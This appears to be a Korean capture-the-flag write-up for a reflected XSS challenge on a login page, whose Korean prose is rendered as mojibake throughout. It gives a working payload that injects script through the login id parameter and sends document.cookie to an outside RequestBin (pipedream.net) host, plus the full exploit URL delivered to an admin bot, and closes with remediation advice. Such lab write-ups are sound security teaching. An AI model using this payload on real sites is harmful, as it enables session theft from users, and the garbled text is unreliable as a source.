[SegFault] (XSS)
XSS 6
๊ด๋ฆฌ์์ Cookie๋ฅผ ํ์ทจํ์ธ์!
๋ฌธ์ ํ์
๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ XSS์ ์ทจ์ฝ์ ์ ์ฐพ๊ณ , ๊ด๋ฆฌ์ Bot์ ํด๋น ๋งํฌ๋ฅผ ์ ๋ ฅํ์ฌ ๊ณต๊ฒฉ์ ์๋ฒ๋ก Cookie ๊ฐ์ ํ์ทจํ์ฌ ๋ฐ์ผ๋ฉด Flag๋ฅผ ํ๋ํ ์ ์๋ ๋ฐฉ์์ผ๋ก ์ด๋ฃจ์ด์ ธ ์๋ค.
ํ์ง๋ง ํ์ฌ ๊ณต๊ฒฉ์ ์๋ฒ๋ฅผ ๊ฐ๊ณ ์์ง ์์ผ๋ฏ๋ก RequestBin์ ์ด์ฉํ๊ธฐ๋ก ํ๋ค.
์ฐ์ ์์ [๊ด๋ฆฌ์ ๋ฐฉ๋ฌธ Bot Link]์ ์ ์ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ URL ์ ๋ ฅ์ฐฝ์ ๋ณผ ์ ์๋ค.
XSS ์ทจ์ฝ์ ์ ๋ฐ๊ฒฌํ๊ณ ํด๋น ๋งํฌ๋ฅผ ์์ URL์ ์ ๋ ฅํ๋ฉด ๊ณต๊ฒฉ์ ์๋ฒ(RequestBin)๋ก ์ฟ ํค ๊ฐ์ด ๋ ์์ค๋ ๋ฐฉ์์ด๋ค.
์ด์ ์๋์ ๋ฌธ์ ๋งํฌ์ ์ ์ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ ์ฐฝ์ด ๋์จ๋ค.
์ฐ์ ํ์๊ฐ์ ํ ๋ก๊ทธ์ธ์ ์๋ํด๋ณธ๋ค.
๋ง์ดํ์ด์ง์ ๊ณต์ง์ฌํญ์ ํ์ธํด๋ณธ ๊ฒฐ๊ณผ XSS ์ทจ์ฝ์ ์ ๋ฐ๊ฒฌํ์ง ๋ชปํ์๋ค.
๋ก๊ทธ์ธ ๋ถ๋ถ์ผ๋ก ๋์๊ฐ์ ํ์ธํด๋ณด๊ธฐ๋ก ํ๋ค.
XSS Point
๋ก๊ทธ์ธ ์ฐฝ์ ์ ์ํด์ค๋ค.
๋ก๊ทธ์ธ ์ฐฝ์ ์์ด๋์ ๋ฑ๋ก๋์ง ์์ ์ ๋ณด๊ฐ ์ ๋ ฅ๋๋ ๊ฒฝ์ฐ, ์๋ต์ ํด๋น ์ ๋ ฅ ๊ฐ์ด ๊ทธ๋๋ก ๋ฐ์ฌ๋์ด ์ถ๋ ฅ๋๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
์์ ๋ฐฉ์์ ๋ฐ์ฌ(Reflected)๋ฅผ ์ด์ฉํ๋ ๊ฒ์ด๋ค. ๊ทธ๋ฌ๋ฏ๋ก ํด๋น ๋ฐ์ฌ ๊ฐ์ XSS ์ทจ์ฝ์ ์ผ๋ก์ ์ด์ฉํ๋ ค๋ฉด GET Method์ฌ์ผ URL์ ์์ฑํ์ฌ Reflected XSS ์ทจ์ฝ์ ์ผ๋ก์ ํด๋น ๋งํฌ๋ฅผ ํด๋ฆญํ๋๋ก ์ ๋ํ์ฌ XSS๋ฅผ ๋ฐ์ ์ํฌ ์ ์๋ค.
ํ์ง๋ง ๋ก๊ทธ์ธ ๊ณผ์ ์ ๋ฉ์๋๋ POST Method๋ก ๊ตฌ์ฑ๋์ด ์๋ค.
ํด๋น ์์ฒญ์ GET Method๋ก ๋ณํํ์ฌ ์์ฒญํ์์ ๋ ๋์ผํ ์๋ต ๊ฒฐ๊ณผ๊ฐ ๋์ค๋์ง ํ์ธํด๋ด์ผ ํ๋ค.
์์ ๊ฐ์ด ํด๋น ์์ฒญ์ Burp๋ฅผ ์ด์ฉํ์ฌ GET Method๋ก ๋ณ์กฐํ์ฌ ์์ฒญํ์์ ๋ ๋ค์๊ณผ ๊ฐ์ด ๋์ผํ ๊ฒฐ๊ณผ๊ฐ ๋์จ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
ํ์ด ๊ณผ์ (ํด๊ฒฐ ๋ฐฉ์)
๋ก๊ทธ์ธ ์ฐฝ์ id ์ ๋ฑ๋ก๋์ง ์์ ์ ๋ณด๋ฅผ ์ ๋ ฅํ ๊ฒฝ์ฐ, ์ ๋ ฅ ๊ฐ์ด ์๋ฆผ์ฐฝ์ ๊ทธ๋๋ก ์ถ๋ ฅ๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
ํด๋น ์ ๋ ฅ์ ์ฝ์ ํ ํ์ด๋ก๋(Payload)๋ฅผ ์์ฑํ๋ค.
ํ์ด๋ก๋(Payload)
test ]'</script><script>
var cookieData = document.cookie;
var i = new Image();
i.src = "https://๊ณต๊ฒฉ์ ์ฃผ์/?cookie="+cookieData;//
์คํฌ๋ฆฝํธ ์ ๋ฌ(URL)
์์ ํ์ด๋ก๋(Payload)๋ฅผ ์ ๋ ฅ๊ฐ์ ๋ฃ์ด์ฃผ๊ณ ๋ฉ์๋๋ฅผ GET์ผ๋ก ๋ณํํด์ฃผ๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
test+]'</script><script>var+cookieData+=+document.cookie;var+i+=+new+Image();i.src+=+"https://eneqijtbrtwyr.x.pipedream.net/?cookie="%2bcookieData;//
์์ ๊ฐ์ด ์คํฌ๋ฆฝํธ๊ฐ ํฌํจ๋ ์ ๋ ฅ๊ฐ์ ์์ฒญํ๋ ๊ฒฝ์ฐ, ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
ํด๋น ์์ฒญ์ ๋ํ URL์ ์์ฑํ๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
http://ctf.segfaulthub.com:4343/xss_7/login.php?id=test+]'</script><script>var+cookieData+=+document.cookie;var+i+=+new+Image();i.src+=+"https://eneqijtbrtwyr.x.pipedream.net/?cookie="%2bcookieData;//&pw=1
์์ URL์ ํด๋ฆญํ๋๋ก ์ ๋ํ์ฌ XSS๊ฐ ๋ฐ์ํ๋๋ก ํ๋ ๊ฒ์ด ๊ฐ๋ฅํ๋ค.
๋ฐ๋ผ์ ํด๋น URL์ ๊ด๋ฆฌ์ Bot์ ๋ณด๋ด์ค๋ค.
ํ์ทจ๋ ์ฟ ํค(Cookie)๊ฐ ๊ณต๊ฒฉ์ ์ฃผ์(RequestBin)์ผ๋ก ๋ฐ์์ ์ง๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์์ ๊ฐ์ด id ํ๋ผ๋ฏธํฐ์ ์คํฌ๋ฆฝํธ๊ฐ ์ฝ์ ๋ ์ ๋ ฅ๊ฐ์ ๋ฃ์ด์ฃผ๋ ์ผ๋ จ์ ๊ณผ์ ์ ๋ด์ URL๋ก์ ์ ์ ์ ๋๋ฅผ ํตํ์ฌ ์ฟ ํค ๊ฐ์ ํ์ทจํ ์ ์๋ค๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
ํ์ง๋ง ํด๋น ๋ฌธ์ ์ ๊ฒฝ์ฐ ํ์ทจํ ์ฟ ํค์ flag๊ฐ์ด ๋ด๊ฒจ ์๋ ๊ฒ์ด ์๋๋ผ, ์ฝ์ ํ๋ ์คํฌ๋ฆฝํธ๋ฅผ 'ํค๋ก๊ฑฐ'๋ก์ ์์ฑํ์ฌ ์ ๋ ฅ๋๋ id์ pw๋ฅผ ์์๋ด์ flag๋ฅผ ์ฐพ๋ ๋ฐฉ์์ด์๋ค๊ณ ํ๋ค. ํ์ง๋ง ์๋์ ๋ ฅ ๊ตฌํ์ด ์์ง ๋์ง ์์ ์ฟ ํค๋ฅผ ํ์ทจํ๋ ๊ฒ ๊น์ง๋ฅผ ๋ชฉํ๋ก ํ์๋ค.
์ฃผ์ํ ์
๋ณธ ๋ฌธ์ ๋ฅผ ํธ๋ ๊ณผ์ ์์ POC๋ก์ alert(1)์ ์ด์ฉํ์ฌ '1'์ ์ถ๋ ฅํ๊ธฐ ์ํด ๋ค์๊ณผ ๊ฐ์ด ์ ๋ ฅํด๋ณด์๋ค.
์์ ๊ฐ์ด [ ๋ฅผ ์ถ๋ ฅํ์ง ์๊ธฐ ์ํด์ alert(1)์ ๋ฐ๋ก์ด ํ๋ฒ ๋ ์ถ๋ ฅํด์ค ๊ฒ์ธ๋ฐ, ์์ ๊ฐ์ด ์ ๋ ฅํ ๊ฒฝ์ฐ ๋ธ๋ผ์ฐ์ ์์์ ์คํฌ๋ฆฝํธ๊ฐ ์ ์ฝ์ ๋์ด ์๋ฆผ์ฐฝ์ด 2ํ ๋์ค๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
ํ์ง๋ง ์์ ๊ฐ์ด alert() ๋ฌธ์ด ๋๋ฌด ๋ง์ด ๋ค์ด ๊ฐ๋ ๊ฒฝ์ฐ์๋ ๊ด๋ฆฌ์ Bot์ด ์์์ฐจ๋ฆฌ๋ ์ํฉ์ด ๋ฒ์ด์ง๋ค๋ ๊ฒ์ ์ ์ ์์๋ค.
์ทจ์ฝ์ ์ ๊ดํ ๊ณ ์ฐฐ
๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ ๋ก๊ทธ์ธ ์ฐฝ์์ ๋ฑ๋ก๋์ง ์์ ์์ด๋๋ฅผ ์ ๋ ฅํ๋ ๊ฒฝ์ฐ ์ ๋ ฅ๋ ์์ด๋ ๊ฐ์ด ๊ทธ๋๋ก ์๋ต์ ๋ฐ์ฌ๋์ด ๋ ธ์ถ๋๋ ๊ฒ์ ์ด์ฉํ Reflected XSS ์ทจ์ฝ์ ์ด๋ค.
์ด์ ๊ฐ์ ๊ฒฝ์ฐ ๊ณต๊ฒฉ์๊ฐ ์ด๋ค id ๊ฐ ํ์๊ฐ์ ๋์ด ์๋์ง ์ฌ๋ถ์, ์์ด๋์ ๋น๋ฐ๋ฒํธ ์ค ์ด๋ค ๊ฐ์ ์๋ชป ์ ๋ ฅํ์๋์ง ์ฌ๋ถ๋ฅผ ์ ์ ์๊ฒ๋๋ค. ์ด๋ฐ ๊ฒฝ์ฐ Brute Force ๊ณต๊ฒฉ์ ์ด์ฉํ์ฌ ๊ณ์ ์ด ํ์ทจ๋ ๊ฐ๋ฅ์ฑ์ด ๋์์ง๋ค.
์ด๋ฌํ ์ํ์ ๋ฐฉ์งํ๊ธฐ ์ํ์ฌ ์์ด๋์ ๋น๋ฐ๋ฒํธ ์ค ์ด๋ค ๊ฒ์ด ํ๋ ธ๋์ง ๋ชจ๋ฅด๋๋ก ํ๊ณ , ํด๋น ์์ด๋์ ๊ฐ์ ์ฌ๋ถ๋ฅผ ํ์ธํ ์ ์๋๋ก ํ๊ธฐ ์ํด, ์ด์ ๊ฐ์ ์ ๋ณด๊ฐ ๋ ธ์ถ๋์ง ์๋๋ก ํ๋ฆฐ ์ ๋ ฅ๊ฐ ๋ง๋ค ๋ค๋ฅธ ์๋ฆผ์ฐฝ์ ๋์ฐ๋ ๊ฒ์ด ์๋ ๋ญ๋ฑ๊ทธ๋ ค์ '์ ๋ ฅ์ ๋ณด๊ฐ ์ฌ๋ฐ๋ฅด์ง ์์ต๋๋ค.' ์ ๊ฐ์ ํต์ผ๋ ๋ฌธ๊ตฌ๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ ๊ถ์ฅํ๋ค.
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์